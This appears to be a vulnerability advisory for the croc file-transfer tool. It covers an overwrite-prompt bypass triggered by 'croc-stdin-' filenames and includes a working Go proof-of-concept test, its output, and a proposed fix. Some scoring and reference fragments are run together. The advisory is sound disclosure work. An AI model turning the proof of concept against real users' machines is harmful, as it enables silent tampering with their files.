croc is an end-to-end encrypted peer-to-peer file transfer tool. On the receiving side, the confirmation that normally protects an existing file from being overwritten or resumed is skipped whenever the received file's name starts with croc-stdin-, regardless of whether the incoming transfer is actually a text transfer. A sender can therefore name a file croc-stdin-<existing-name> and silently overwrite, truncate, or replace an existing file of that name in the receiver's working directory - including removing the existing file and substituting a symlink - without the Overwrite? prompt that the standard path requires. The exemption was introduced to keep croc's internal text-transfer artifacts from triggering prompts, but it is keyed on the filename prefix rather than on the transfer type, so any ordinary file transfer can claim the exemption.
Affected code at commit b6f27da9401f2c3647c1adb6b77a46bb8c0923d2 (HEAD, v11.5.1+1):
The receive-side file-readiness loop in src/croc/croc.go decides whether to prompt before overwriting or resuming an existing destination file. The decision is made around line 3413:
isStdinName := strings.HasPrefix(path.Base(fileInfo.Name), "croc-stdin-")
...
if destinationExists && !c.Options.Overwrite && !c.Options.Rename && !isStdinName {
resumable := fileInfo.Size > 0 && fileInfo.Symlink == "" && recipientFileInfo.Mode().IsRegular()
overwrite, promptErr := askReceiveOverwrite(c.clientContext(), fileInfo, resumable)
if promptErr != nil {
return promptErr
}
if !overwrite {
continue
}
}
isStdinName is derived purely from the received file's basename. The prompt is suppressed for any such name, even when c.Options.SendingText is false and the transfer is an ordinary file transfer whose name the sender chose.
When the prompt is skipped and the transfer declares fileInfo.Size == 0 or a symlink (fileInfo.Symlink != ""), the loop calls createEmptyFileAndFinish() (src/croc/croc.go:3245), which - before creating the new entry - removes any existing file at the destination:
if fileInfo.Symlink != "" {
if err = validateReceiveSymlinkTarget(fileInfo.FolderRemote, fileInfo.Symlink); err != nil {
return
}
log.Debug("creating symlink")
// remove symlink if it exists
if _, errExists := root.Lstat(pathToFile); errExists == nil {
if err = root.Remove(pathToFile); err != nil {
return err
}
}
err = root.Symlink(fileInfo.Symlink, pathToFile)
...
}
For a normal (non-croc-stdin-) name, the overwrite prompt runs first, so the remove/replace step only happens with the user's explicit y. For a croc-stdin- name the entire prompt is bypassed: an existing croc-stdin-* file is deleted and replaced with the attacker's symlink (or, for Size == 0, truncated to an empty file) with no confirmation.
For a non-empty regular-file transfer with a croc-stdin- name, the same missing prompt lets the receive path proceed through recipientInitializeFile() (src/croc/croc.go:3109; the os.O_RDWR open is at 3136-3138): the existing file is opened O_RDWR (no O_EXCL), truncated to the sender-declared size when the sizes differ, and the sender's chunks are written at the declared offsets - a silent overwrite of the existing file's content.
Why the check is missing: the exemption was added deliberately so that croc's own croc-stdin-* text artifacts (created by os.CreateTemp(".", "croc-stdin-") for croc send --text / piped stdin) do not trigger an overwrite question every time. History: commit b687778d "bug fix: doesn't ask overwrite text Fixes #384" (2021-04-29) introduced the prefix-based skip, keyed on the filename and not on the transfer's SendingText flag. The branch that handles Size == 0 || Symlink != "" via createEmptyFileAndFinish() predates that (6386e4a8, 2019) and at the time ran unconditionally for every received name; the refactor 615af377 "fix: gate overwrites and receive hash algorithms" (2026-08-29, first released in v11.3.6) moved it below the overwrite-prompt gate, so after v11.3.6 the empty-file/symlink replacement reaches the remove-and-replace step without user confirmation only through the croc-stdin- exemption. The refactor extracted the prefix test into isStdinName and kept it filename-only, dropping the explicit !c.Options.SendingText conjunct that the pre-refactor prompt conditions still carried (615af377~1); the original intent was to suppress the prompt only for transfers actually marked as text. Because the exemption is keyed on a filename prefix the sender fully controls, any peer a user receives from can claim it.
The same prefix exemption also suppresses the --rename side of the decision (if destinationExists && !isStdinName && c.Options.Rename), so --rename receivers silently keep the attacker-chosen name and overwrite too.
This is distinct from the previously reported croc-marked-files.txt arbitrary file deletion (oss-sec 2026/Q3 #497, fixed in 11.0.3 by commit c0d51f0, which removed the on-disk cleanup list). That defect reached deletion through RemoveMarkedFiles(); this one reaches silent overwrite/replacement through the filename-keyed prompt exemption in the receive loop, which the 11.0.3 fix did not touch and which remains live at HEAD.
An attacker who can send a file to a victim (croc's sender-is-untrusted model; the receiver accepts a transfer from them) can silently overwrite, truncate, or delete-and-replace an existing croc-stdin-* file in the receiver's working directory without the confirmation every other received name triggers. The attack needs the colliding file to already exist with an exact name the sender can predict; receiver-side text artifacts get unpredictable os.CreateTemp-style suffixes, so the practical target is a name the attacker knows (e.g. a file the user deliberately kept, or a name pattern from an earlier transfer the same peer sent). With the noisy prompt gone, the substitution is invisible to the user. Severity is bounded because the vulnerable names must start with the croc-stdin- prefix (dotfiles such as .bashrc cannot be named this way), so the attack cannot reach outside that namespace.
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L - base score 5.4 (Medium).
croc-stdin- prefix, and it requires an exact-name collision with a pre-existing file; per CVSS 3.1, "can modify only certain files" is I:L - dotfiles such as .bashrc are unreachable.croc-stdin-* file - Integrity: High yields CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L = 7.1 (High).Prerequisite: a Go toolchain satisfying go.mod (go 1.27) and a checkout of croc at commit b6f27da9401f2c3647c1adb6b77a46bb8c0923d2. The repro is a self-contained Go test that reuses the project's own in-process loopback test relay - the same harness as TestCrocLocal in src/croc/croc_test.go - so it requires no network, no third party, and no separately installed binary; it drives the exact production receive path (NewCtx + Receive -> receive-ready loop -> the gate at src/croc/croc.go:3413).
src/croc/repro_overwrite_bypass_test.go in the checkout:package croc
import (
"context"
"fmt"
"net"
"os"
"path/filepath"
"testing"
"time"
log "github.com/schollz/croc/v11/src/logger"
)
// Repro: overwrite-confirmation bypass via a crafted "croc-stdin-" filename on receive.
func TestOverwriteConfirmationBypass(t *testing.T) {
log.SetLevel("warn")
localPorts := freeConsecutiveTestPorts(t, 2)
localAddress := net.JoinHostPort("127.0.0.1", localPorts[0])
victim := t.TempDir()
attacker := t.TempDir()
mustWrite := func(path, content string) {
t.Helper()
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
t.Fatal(err)
}
}
attackerStdin := filepath.Join(attacker, "croc-stdin-notes.txt")
attackerCtrl := filepath.Join(attacker, "notes.txt")
mustWrite(attackerStdin, "ATTACKER-REPLACEMENT\n")
mustWrite(attackerCtrl, "ATTACKER-CONTROL\n")
victimStdin := filepath.Join(victim, "croc-stdin-notes.txt")
victimCtrl := filepath.Join(victim, "notes.txt")
mustWrite(victimStdin, "ORIGINAL-CONTENT\n")
mustWrite(victimCtrl, "ORIGINAL-CONTROL\n")
// Receiver writes into its working directory (like `croc <code>` run in a folder).
oldWD, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
if err := os.Chdir(victim); err != nil {
t.Fatal(err)
}
defer func() { _ = os.Chdir(oldWD) }()
sender, err := NewCtx(context.Background(), Options{
IsSender: true,
SharedSecret: "8123-testingthecroc",
RelayAddress: localAddress,
RelayPorts: append([]string(nil), localPorts...),
RelayPassword: "pass123",
NoPrompt: true,
DisableLocal: false,
OnlyLocal: true,
Curve: "ed25519",
})
if err != nil {
t.Fatal(err)
}
// Default receive options: Overwrite=false, Rename=false. NoPrompt only
// auto-accepts the transfer itself; it does NOT suppress the per-file
// overwrite prompt (the code under test).
receiver, err := NewCtx(context.Background(), Options{
IsSender: false,
SharedSecret: "8123-testingthecroc",
RelayAddress: localAddress,
IP: localAddress,
RelayPassword: "pass123",
NoPrompt: true,
DisableLocal: false,
Curve: "ed25519",
})
if err != nil {
t.Fatal(err)
}
results := make(chan error, 2)
go func() {
filesInfo, emptyFolders, total, errGet := GetFilesInfo([]string{attackerStdin, attackerCtrl}, false, false, []string{})
if errGet != nil {
results <- errGet
return
}
results <- sender.Send(filesInfo, emptyFolders, total)
}()
waitForRelayPorts(t, localPorts)
go func() { results <- receiver.Receive() }()
for i := 0; i < 2; i++ {
select {
case err := <-results:
if err != nil {
t.Fatalf("transfer %d failed: %v", i, err)
}
case <-time.After(60 * time.Second):
t.Fatal("transfer timed out")
}
}
time.Sleep(500 * time.Millisecond)
gotStdin, _ := os.ReadFile(victimStdin)
gotCtrl, _ := os.ReadFile(victimCtrl)
fmt.Printf("OBSERVED croc-stdin-notes.txt: %q (no prompt)\n", string(gotStdin))
fmt.Printf("OBSERVED notes.txt: %q (prompt fired; retained)\n", string(gotCtrl))
if string(gotStdin) != "ATTACKER-REPLACEMENT\n" {
t.Errorf("croc-stdin-notes.txt = %q, want %q (silent overwrite did not occur)", string(gotStdin), "ATTACKER-REPLACEMENT\n")
}
if string(gotCtrl) != "ORIGINAL-CONTROL\n" {
t.Errorf("notes.txt = %q, want %q (prompt did not protect the control file)", string(gotCtrl), "ORIGINAL-CONTROL\n")
}
}
go test -count=1 -run TestOverwriteConfirmationBypass -v -timeout 150s ./src/croc/ </dev/null
b6f27da9401f2c3647c1adb6b77a46bb8c0923d2 (2026-09-08):Resume 'notes.txt' (0.0%)? (y/N) (use --overwrite to omit) Skipping 'notes.txt'
OBSERVED croc-stdin-notes.txt: "ATTACKER-REPLACEMENT\n" (no prompt)
OBSERVED notes.txt: "ORIGINAL-CONTROL\n" (prompt fired; retained)
--- PASS: TestOverwriteConfirmationBypass (1.04s)
PASS
What the differential shows: the transfer carries two ordinary files (not a text transfer - SendingText is false). One is named croc-stdin-notes.txt and collides with a pre-existing file in the receiver's directory; the other is named notes.txt and collides with another pre-existing file. For notes.txt the code printed the resume/overwrite confirmation (Resume 'notes.txt' (0.0%)? (y/N) (use --overwrite to omit)); with stdin closed (</dev/null, answer EOF) it skipped the file, which keeps its original content (ORIGINAL-CONTROL). For croc-stdin-notes.txt no prompt is printed at all, the loop falls through to recipientInitializeFile (src/croc/croc.go:3109), which opens the existing file O_RDWR (croc.go:3136-3138) and truncates/writes the sender's chunks - the file ends up holding exactly the attacker's content (ATTACKER-REPLACEMENT). The receiver here uses NoPrompt=true (the CLI --yes equivalent), which does not suppress this prompt: askReceiveOverwrite (src/croc/croc.go:3301) runs regardless of NoPrompt; only --overwrite, --rename, or the crafted croc-stdin- prefix suppress it.
Symlink / empty-file variant (v11.3.6 and later): with sender-declared metadata fileInfo.Size == 0 or fileInfo.Symlink != "" for a file named croc-stdin-<name>, the skipped gate hands control to createEmptyFileAndFinish (src/croc/croc.go:3245), which removes any existing file at the destination (root.Remove, no prompt) and then creates an empty file or a symlink to the sender-supplied target. To exercise it, replace the attacker's regular file with an empty file or an in-directory symlink on the sender's side (e.g. ln -s notes.txt src/croc-stdin-notes.txt; note the target is validated by validateReceiveSymlinkTarget, croc.go:892, and must stay inside the receive directory) and re-run the same test; the regular-file case above already demonstrates the identical prompt-skip.
Gate the exemption on the transfer actually being a text transfer, not on the received filename. In src/croc/croc.go the cleanest fix is to require both conditions before suppressing the prompt, e.g.:
isStdinName := strings.HasPrefix(path.Base(fileInfo.Name), "croc-stdin-") && c.Options.SendingText
and make the empty-file/symlink branch (createEmptyFileAndFinish) and the --rename branch honor the same combined condition, so a regular file transfer can never claim the text-transfer exemption. As defense-in-depth, apply the same SendingText gate wherever a received croc-stdin-* name short-circuits a user confirmation, and document that the prefix is reserved for transfers the sender marked as text.
createEmptyFileAndFinish L3245-3280; recipientInitializeFile L3109-3160 (os.O_RDWR open at L3136-3138))createEmptyFileAndFinish origin (pre-gate, name-unrestricted until 615af377): https://github.com/schollz/croc/commit/6386e4a8croc-marked-files.txt, fixed 11.0.3 by c0d51f0, different sink and mechanism): oss-sec 2026/Q3 #497 - https://seclists.org/oss-sec/2026/q3/497{
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T22:40:12Z",
"nvd_published_at": "2026-10-30T17:17:18Z",
"severity": "MODERATE"
}